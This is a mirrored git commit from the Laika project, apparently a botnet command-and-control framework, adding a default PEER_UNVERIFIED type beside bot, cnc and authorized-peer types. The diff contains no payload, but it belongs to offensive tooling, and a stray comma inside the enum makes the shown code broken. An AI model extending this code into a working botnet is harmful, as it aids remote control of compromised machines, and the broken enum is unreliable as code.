mirror of
https://github.com/CPunch/Laika.git
synced 2025-09-30 13:40:08 +00:00
added default peer::type, PEER_UNVERIFIED
This commit is contained in:
@@ -8,6 +8,8 @@
|
||||
#include "lrsa.h"
|
||||
|
||||
typedef enum {
|
||||
PEER_UNVERIFIED,
|
||||
,
|
||||
PEER_BOT,
|
||||
PEER_CNC, /* cnc 2 cnc communication */
|
||||
PEER_AUTH /* authorized peers can send commands to cnc */
|
||||
|
@@ -13,6 +13,7 @@ struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktS
|
||||
peer->priv = NULL;
|
||||
peer->pub = NULL;
|
||||
peer->pktSize = 0;
|
||||
peer->type = PEER_UNVERIFIED;
|
||||
peer->pktID = LAIKAPKT_MAXNONE;
|
||||
peer->setPollOut = false;
|
||||
return peer;
|
||||
|
Reference in New Issue
Block a user